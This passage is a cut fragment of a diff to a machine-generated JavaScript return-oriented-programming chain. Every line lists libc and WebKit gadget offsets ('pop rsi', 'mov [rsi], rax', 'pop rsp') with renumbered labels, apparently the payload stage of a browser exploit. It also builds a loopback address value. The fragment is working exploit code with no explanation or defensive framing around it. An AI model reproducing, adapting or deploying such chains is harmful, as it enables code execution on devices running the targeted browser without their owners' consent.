rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+172968, //L2623+8 +ropchain+172568, //L2606+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+172960, //L2623 +ropchain+172560, //L2606 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L2623: +//L2606: db([0, 0]); // 0x0 set_gadgets([ -ropchain+172984, //L2623+24 -ropchain+173288, //L2618 +ropchain+172584, //L2606+24 +ropchain+172888, //L2601 libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+173024, //L2624 +ropchain+172624, //L2607 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2624: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2625: +//L2607: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2626: +//L2608: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L2609: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -18252,17 +18183,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+173152, //L2627 +ropchain+172752, //L2610 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+173168, //L2628 +ropchain+172768, //L2611 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2627: +//L2610: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2628: +//L2611: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -18272,21 +18203,21 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+173280, //L2629 +ropchain+172880, //L2612 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+173264, //L2630 +ropchain+172864, //L2613 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2630: +//L2613: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2629: +//L2612: db([0, 0]); // 0x0 -//L2618: +//L2601: set_gadget(libc_base+788575,); //pop rax -//L2631: +//L2614: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -18294,8 +18225,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2633: -ropchain+222000, //L2632 +//L2616: +ropchain+222648, //L2615 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -18303,8 +18234,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2635: -ropchain+173448, //L2634 +//L2618: +ropchain+173048, //L2617 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -18312,8 +18243,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+186296, //L2636 -//L2634: +ropchain+183240, //L2619 +//L2617: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -18322,14 +18253,14 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+173536, //L2638 +ropchain+173136, //L2621 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2637: +//L2620: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2638: +//L2621: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -18338,7 +18269,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2639: +//L2622: db([1, 0]); // 0x1 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -18347,7 +18278,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2640: +//L2623: db([2, 0]); // 0x2 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -18355,8 +18286,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2642: -ropchain+173736, //L2641 +//L2625: +ropchain+173336, //L2624 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -18364,8 +18295,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+188952, //L2643 -//L2641: +ropchain+188552, //L2626 +//L2624: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -18373,222 +18304,222 @@ db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+173808, //L2644 +ropchain+173424, //L2629 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2644: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2645: +//L2628: db([4294967280, 4294967295]); // -0x10 +set_gadget(libc_base+792472,); //pop rcx +//L2629: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L2648: +//L2631: db([0, 0]); // 0x0 set_gadgets([ webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+173928, //L2650 +ropchain+173528, //L2633 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L2649: +//L2632: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L2650: +//L2633: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L2652: +//L2635: db([0, 0]); // 0x0 set_gadgets([ webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+174024, //L2654 +ropchain+173624, //L2637 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L2653: +//L2636: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L2654: +//L2637: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+174096, //L2656 +ropchain+173696, //L2639 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L2655: +//L2638: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L2656: +//L2639: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+174168, //L2658 +ropchain+173768, //L2641 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L2657: +//L2640: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L2658: +//L2641: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+174240, //L2660 +ropchain+173840, //L2643 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L2659: +//L2642: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L2660: +//L2643: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+174312, //L2662 +ropchain+173912, //L2645 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L2661: +//L2644: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L2662: +//L2645: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+174384, //L2664 +ropchain+173984, //L2647 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L2663: +//L2646: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L2664: +//L2647: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+174456, //L2666 +ropchain+174056, //L2649 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L2665: +//L2648: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L2666: +//L2649: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+174528, //L2668 +ropchain+174128, //L2651 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L2667: +//L2650: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L2668: +//L2651: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L2669: +//L2653: db([4294967265, 4294967295]); // -0x1f set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+174624, //L2672 +ropchain+174224, //L2655 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2671: +//L2654: db([2, 0]); // 0x2 set_gadget(libc_base+788575,); //pop rax -//L2672: +//L2655: db([0, 0]); // 0x0 set_gadgets([ webkit_base+865136, //mov [rax], cl libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L2673: +//L2657: db([4294967266, 4294967295]); // -0x1e set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+174712, //L2675 +ropchain+174312, //L2658 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L2675: +//L2658: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2677: +//L2660: db([15651, 0]); // 0x3d23 set_gadgets([ libc_base+562536, //mov [rdi], cx libc_base+793877, //pop rsi -ropchain+174784, //L2678 +ropchain+174400, //L2663 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+206806 //pop rdi +libc_base+793877 //pop rsi ]); -//L2678: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2679: +//L2662: db([4294967268, 4294967295]); // -0x1c +set_gadget(libc_base+206806,); //pop rdi +//L2663: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+174864, //L2682 +ropchain+174464, //L2665 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2681: +//L2664: db([16777343, 0]); // 0x100007f set_gadget(libc_base+788575,); //pop rax -//L2682: +//L2665: db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+174912, //L2683 +ropchain+174528, //L2667 webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); -//L2683: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L2684: +//L2666: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L2667: +db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ @@ -18596,14 +18527,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+175024, //L2686 +ropchain+174624, //L2669 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L2685: +//L2668: db([4294967264, 4294967295]); // -0x20 set_gadget(libc_base+788575,); //pop rax -//L2686: +//L2669: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -18614,77 +18545,77 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+175112, //L2687 +ropchain+174728, //L2672 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2687: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2688: +//L2671: db([4294967280, 4294967295]); // -0x10 +set_gadget(libc_base+792472,); //pop rcx +//L2672: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+175216, //L2690 +ropchain+174816, //L2673 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+175232, //L2691 +ropchain+174832, //L2675 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2690: +//L2673: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2691: +//L2675: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+175384, //L2693 +ropchain+174984, //L2676 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+175416, //L2696 +ropchain+175016, //L2679 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+175400, //L2694 +ropchain+174968, //L2677 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+175368, //L2695 +ropchain+175000, //L2678 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2695: +//L2677: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2693: +//L2676: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2694: +//L2678: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2696: +//L2679: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+175512, //L2698 +ropchain+175112, //L2681 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+175496, //L2697 +ropchain+175096, //L2680 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2697: +//L2680: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2698: +//L2681: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -18692,8 +18623,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2700: -ropchain+175616, //L2699 +//L2683: +ropchain+175216, //L2682 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -18701,8 +18632,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+184968, //L2701 -//L2699: +ropchain+187224, //L2684 +//L2682: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -18712,338 +18643,338 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L2703: +//L2686: db([4294967288, 4294967295]); // -0x8 set_gadget(libc_base+792472,); //pop rcx -//L2704: +//L2687: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+175768, //L2705 +ropchain+175368, //L2688 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+175784, //L2706 +ropchain+175384, //L2690 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2705: +//L2688: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2706: +//L2690: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+175888, //L2709 +ropchain+175488, //L2693 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+175872, //L2708 +ropchain+175504, //L2694 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+206806 //pop rdi +libc_base+793877 //pop rsi ]); -//L2708: -db([0, 0]); // 0x0 +//L2691: +db([4294967256, 4294967295]); // -0x28 set_gadget(libc_base+792472,); //pop rcx -//L2709: +//L2693: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L2694: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2710: -db([4294967256, 4294967295]); // -0x28 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2712: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2713: +//L2696: db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+792472,); //pop rcx +//L2697: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+176048, //L2715 +ropchain+175648, //L2698 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+176064, //L2716 +ropchain+175664, //L2700 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2715: +//L2698: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2716: +//L2700: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+176216, //L2718 +ropchain+175816, //L2701 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+176248, //L2721 +ropchain+175848, //L2704 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+176232, //L2719 +ropchain+175800, //L2702 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+176200, //L2720 +ropchain+175832, //L2703 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2720: +//L2702: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2718: +//L2701: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2719: +//L2703: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2721: +//L2704: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+176352, //L2723 +ropchain+175952, //L2707 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+176336, //L2722 +ropchain+175968, //L2708 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+206806 //pop rdi +libc_base+793877 //pop rsi ]); -//L2722: -db([0, 0]); // 0x0 +//L2705: +db([4294967252, 4294967295]); // -0x2c set_gadget(libc_base+792472,); //pop rcx -//L2723: +//L2707: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2724: -db([4294967252, 4294967295]); // -0x2c -set_gadgets([ +set_gadget(libc_base+206806,); //pop rdi +//L2708: +db([0, 0]); // 0x0 +set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+176432, //L2728 +ropchain+176032, //L2711 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2728: +//L2711: db([0, 0]); // 0x0 -//L2726: +//L2709: set_gadgets([ libc_base+793877, //pop rsi -ropchain+176480, //L2729 +ropchain+176096, //L2714 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2729: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2730: +//L2713: db([4294967252, 4294967295]); // -0x2c +set_gadget(libc_base+792472,); //pop rcx +//L2714: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+176584, //L2732 +ropchain+176184, //L2715 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+176600, //L2733 +ropchain+176200, //L2717 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2732: +//L2715: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2733: +//L2717: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+176752, //L2735 +ropchain+176352, //L2718 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+176784, //L2738 +ropchain+176384, //L2721 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+176768, //L2736 +ropchain+176336, //L2719 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+176736, //L2737 +ropchain+176368, //L2720 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2737: +//L2719: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2735: +//L2718: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2736: +//L2720: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2738: +//L2721: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+176856, //L2739 +ropchain+176456, //L2722 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+176872, //L2740 +ropchain+176472, //L2723 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2739: +//L2722: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2740: +//L2723: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+176976, //L2744 +ropchain+176576, //L2726 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+177024, //L2745 +ropchain+176624, //L2728 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+176992, //L2742 +ropchain+176608, //L2727 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2744: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2742: +//L2726: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L2743: +//L2725: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L2727: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2745: +//L2728: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+177136, //L2746+8 +ropchain+176736, //L2729+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+177128, //L2746 +ropchain+176728, //L2729 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L2746: +//L2729: db([0, 0]); // 0x0 set_gadgets([ -ropchain+177152, //L2746+24 -ropchain+182416, //L2741 +ropchain+176752, //L2729+24 +ropchain+182016, //L2724 libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L2748: +//L2731: db([4294967252, 4294967295]); // -0x2c set_gadget(libc_base+792472,); //pop rcx -//L2749: +//L2732: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+177272, //L2750 +ropchain+176872, //L2733 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+177288, //L2751 +ropchain+176888, //L2735 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2750: +//L2733: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2751: +//L2735: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+177440, //L2753 +ropchain+177040, //L2736 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+177472, //L2756 +ropchain+177072, //L2739 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+177456, //L2754 +ropchain+177024, //L2737 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+177424, //L2755 +ropchain+177056, //L2738 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2755: +//L2737: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2753: +//L2736: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2754: +//L2738: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2756: +//L2739: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+177544, //L2757 +ropchain+177144, //L2740 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+177560, //L2758 +ropchain+177160, //L2741 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2757: +//L2740: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2758: +//L2741: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+177656, //L2760 +ropchain+177256, //L2743 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+177640, //L2759 +ropchain+177240, //L2742 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2759: +//L2742: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2760: +//L2743: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -19051,55 +18982,55 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+177736, //L2761 +ropchain+177352, //L2746 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2761: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2762: +//L2745: db([4294967256, 4294967295]); // -0x28 +set_gadget(libc_base+792472,); //pop rcx +//L2746: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+177840, //L2764 +ropchain+177440, //L2747 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+177856, //L2765 +ropchain+177456, //L2749 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2764: +//L2747: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2765: +//L2749: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+178000, //L2769 +ropchain+177600, //L2752 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+177968, //L2767 +ropchain+177568, //L2750 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+177984, //L2768 +ropchain+177584, //L2751 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2767: +//L2750: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2768: +//L2751: 